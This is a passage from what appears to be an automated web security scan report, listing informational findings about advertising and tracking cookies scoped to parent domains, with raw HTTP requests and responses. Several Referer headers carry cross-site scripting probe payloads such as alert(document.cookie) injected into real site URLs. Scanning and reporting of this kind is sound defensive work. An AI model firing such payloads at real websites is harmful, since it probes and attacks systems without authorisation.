0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej0r023ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv1ubnn00z10020607206; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxjs0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
Set-Cookie: rdrlst=4140o2ylebnns0000000z100207dpletz4d0000000v100210e5lg1nei0000000510020mmnlebnns0000000z100210rdlg1vir0000000410020x1blebnns0000000z10020xo1lebnns0000000z10020eh5lf17qf0000000r100206bylemlne0000000x10020w3clebnns0000000z100207gmlebnns0000000z10020jv6lebnns0000000z10020j4ilew2e20000000t10020xthlebnns0000000z10020fullf8gij0000000n100210f6lg1nei0000000510021196lfzx0l00000006100200c9lfk1rn0000000k10020jillebnns0000000z10021194lg3y5y0000000310020fuqlegh2b0000000y10020b6mlf17qk0000000q10020mz1lebnns0000000z10020cajlfk1rn0000000k10020p7vlebnns0000000z100207vglfk1rn0000000k10020xvslebnns0000000z10021192lg5l2h00000002100210ellg1nei0000000510020xuklebnns0000000z10020jk7lebnns0000000z10020x1jlebnns0000000z10020yiplebnns0000000z10020cbnlfk1rn0000000k10020xwflebnns0000000z10020yh0lebnns0000000z10020e4vlebnns0000000z100210e9lg1nei0000000510020xwblebnns0000000z10020jwblfk1rn0000000k1002; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000p1002060720682gletz4d0pqa500a0l000400100ag2leqh191fia600w1002060720682hlebnns1o9ct00z100206072069zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0g7m300l10020607206820lebnns181qq00e0l000400100b0olfjpei0g7m300l10020607206ab4lebnns1o9ct00z100206072069szlebnns1o9ct00z100206072068wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pi9400y10020607206al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0g7m300l100206072068bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1o9ct00k10020606206b08lfjpei0g7m300l1002060720640slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000m1002060720640uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
Location: http://ad.yieldmanager.com/pixel?t=2&id=702840
Content-Length: 0
Date: Sat, 05 Feb 2011 21:50:02 GMT

14.43. http://ad.doubleclick.net/click previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/click

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /click;h=v8/3aa5/3/0/*/v;233997820;0-0;0;57848017;1-468/60;39912829/39930616/1;;~okv=;pc=[TPAS_ID];;~sscs=?http:/personalsavings.americanexpress.com/savings-product.html HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://personalsavings.americanexpress.com/savings-product.html
Set-Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 05 Feb 2011 22:24:49 GMT
Server: GFE/2.0
Content-Type: text/html
Connection: close

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/click%3Bh%3Dv8/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B~okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B~sscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /click%3Bh%3Dv8/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B~okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B~sscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://s0.2mdn.net/2179194/1-HYSA_RateV2_468x60_30k.swf
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://personalsavings.americanexpress.com/savings-product.html
Set-Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 05 Feb 2011 21:49:07 GMT
Server: GFE/2.0
Content-Type: text/html

14.45. http://ad.doubleclick.net/clk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clk

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=c653243310000d9|2782903/965205/15010,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /clk;235229193;58835998;e HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://radioshack.shoplocal.com/radioshack/default.aspx?
Set-Cookie: id=c653243310000d9|2782903/965205/15010,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 05 Feb 2011 22:24:01 GMT
Server: GFE/2.0
Content-Type: text/html
Connection: close

14.46. http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/jump/N553.158901.DATAXU/B4970757.11

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /jump/N553.158901.DATAXU/B4970757.11 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://personalsavings.americanexpress.com/
Set-Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 05 Feb 2011 21:50:26 GMT
Server: GFE/2.0
Content-Type: text/html
Connection: close

14.47. http://ad.zanox.com/tpv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

zttpvc=5C40812S1469378459041154054T0I14786739C0T0; domain=.zanox.com; path=/
zptpvc=5C40812S1469378459041154054T0I14786739C0T0; expires=Sat, 07-May-2011 17:05:24 GMT; domain=.zanox.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tpv/?14786739C435671106&ULP=http://www.zanox-affiliate.de/tpv/?11259592C1875273789S14786739T&zpar0=125_1_728x90_360_pvc_ad4matdedault HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU5MkMxODc1MjczNzg5UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ztvc=5C357927S1469378102382598159T0I14786739C0T0; zpvc=5C357927S1469378102382598159T0I14786739C0T0

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:05:24 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: zttpvc=5C40812S1469378459041154054T0I14786739C0T0; domain=.zanox.com; path=/
Set-Cookie: zptpvc=5C40812S1469378459041154054T0I14786739C0T0; expires=Sat, 07-May-2011 17:05:24 GMT; domain=.zanox.com; path=/
Content-Length: 0
Location: http://www.zanox-affiliate.de/tpv/?11259592C1875273789S14786739T&zpar0=125_1_728x90_360_pvc_ad4matdedault&zanpid=14786739C435671106T1469378459041154054
pragma: no-cache
cache-control: no-store

14.48. http://adclick.g.doubleclick.net/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://adclick.g.doubleclick.net
Path:	/aclk

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

test_cookie=CheckForPermission; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /aclk HTTP/1.1
Host: adclick.g.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
Set-Cookie: test_cookie=CheckForPermission; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/; domain=.doubleclick.net
X-Content-Type-Options: nosniff
Date: Sun, 06 Feb 2011 16:00:02 GMT
Server: AdClickServer
Content-Length: 0
X-XSS-Protection: 1; mode=block
Connection: close

14.49. http://ak1.abmr.net/is/us.blackberry.com previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak1.abmr.net
Path:	/is/us.blackberry.com

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

01AI=2-2-E6B4582CF8328068796C2B5053C28D2C377E8430D1A1C755D330840B4F6A6B0A-676C59CB938D0430952A82220209EB8847971233F1926F5A520082B9D9775BCB; expires=Mon, 06-Feb-2012 13:32:25 GMT; path=/; domain=.abmr.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /is/us.blackberry.com?U=/assets_refresh/images/dropNavArrow.png&V=3-wtrzWKMz5TRDi%2fSd+CSqwZrU0+tOXRhkdjDeSgoXXKsKt5tkWeZJR6ejK+C%2fyzfo&I=28F5F496E208D76&D=blackberry.com&01AD=1& HTTP/1.1
Host: ak1.abmr.net
Proxy-Connection: keep-alive
Referer: http://us.blackberry.com/smartphones/94178%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed0d62204af5/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 01AI=2-2-25EB5C6599E919113732004AA184A52EB733C740467AAF1D7D81573472EEC61D-9096F2ABE2A1219AAEF0C5B86F175ABE372822FF2ED8C84CDF5447BE0CBE5075

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://us.blackberry.com/assets_refresh/images/dropNavArrow.png?01AD=3aHKJGBey5UiG2d2rLy9DNRi960kdX5X5YBju1dsrFZME9vXtP4bUsw&01RI=28F5F496E208D76&01NA=
Expires: Sun, 06 Feb 2011 13:32:25 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 06 Feb 2011 13:32:25 GMT
Connection: close
Set-Cookie: 01AI=2-2-E6B4582CF8328068796C2B5053C28D2C377E8430D1A1C755D330840B4F6A6B0A-676C59CB938D0430952A82220209EB8847971233F1926F5A520082B9D9775BCB; expires=Mon, 06-Feb-2012 13:32:25 GMT; path=/; domain=.abmr.net
P3P: policyref="http://www.abmr.net/w3c/policy.xml", CP="NON DSP COR CURa ADMa DEVa OUR SAMa IND"

14.50. http://altfarm.mediaplex.com/ad/ck/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/ck/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mojo2=14302:23636; expires=Tue, 5-Feb-2013 5:38:22 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/ck/14302-119028-23636-2 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; svid=517004695355;

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Set-Cookie: mojo2=14302:23636; expires=Tue, 5-Feb-2013 5:38:22 GMT; path=/; domain=.mediaplex.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Location: http://www.constantcontact.com/email-marketing/index.jsp?cc=CLK_14302119028236362
Content-Length: 0
Date: Sat, 05 Feb 2011 22:43:24 GMT

14.51. http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/ck/9700-118565-26469-2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mojo2=9700:26469; expires=Wed, 6-Feb-2013 6:25:17 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/ck/9700-118565-26469-2 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; svid=517004695355;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Set-Cookie: mojo2=9700:26469; expires=Wed, 6-Feb-2013 6:25:17 GMT; path=/; domain=.mediaplex.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Content-Type: text/html
Content-Length: 478
Date: Sun, 06 Feb 2011 16:00:26 GMT

<html><head><title></title>
<script language="JavaScript1.1">

</script>
<noscr
...[SNIP]...

14.52. http://altfarm.mediaplex.com/ad/js/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; expires=Tue, 5-Feb-2013 5:03:01 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/js/14302-119028-23636-2?mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/14302:28901/1551:17023/11293:3113

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Set-Cookie: mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; expires=Tue, 5-Feb-2013 5:03:01 GMT; path=/; domain=.mediaplex.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Location: http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5D&mpjs=puma.vizu.com%2Fcdn%2F00%2F00%2F14%2F09%2Ftracking_only.js%3Fadid%3Demm%3Bsiteid%3Downeriq%3B&mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&placementid=14302119028236362&
Content-Length: 0
Date: Sat, 05 Feb 2011 22:25:40 GMT

14.53. http://altfarm.mediaplex.com/ad/nc/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/nc/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mojo2=14302:23636; expires=Tue, 5-Feb-2013 6:09:26 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/nc/14302-119028-23636-2 HTTP/1.1
Host: altfarm.mediaplex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; svid=517004695355;

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Set-Cookie: mojo2=14302:23636; expires=Tue, 5-Feb-2013 6:09:26 GMT; path=/; domain=.mediaplex.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Location: http://www.constantcontact.com/email-marketing/index.jsp?cc=CLK_14302119028236362
Content-Length: 0
Date: Sat, 05 Feb 2011 22:43:18 GMT

14.54. http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d852910/8/40051907/decide.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CS1=deleted; expires=Fri, 05-Feb-2010 21:53:46 GMT; path=/; domain=.questionmarket.com
CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-2; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com
ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-c8; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d852910/8/40051907/decide.php?ord=1296942847 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:47 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a208.dl
Set-Cookie: CS1=deleted; expires=Fri, 05-Feb-2010 21:53:46 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-2; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-c8; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

14.55. http://ar.voicefive.com/b/wc_beacon.pli previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/wc_beacon.pli

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BMX_G=method%2D%3E%2D1%2Cts%2D%3E1296999600%2E136%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

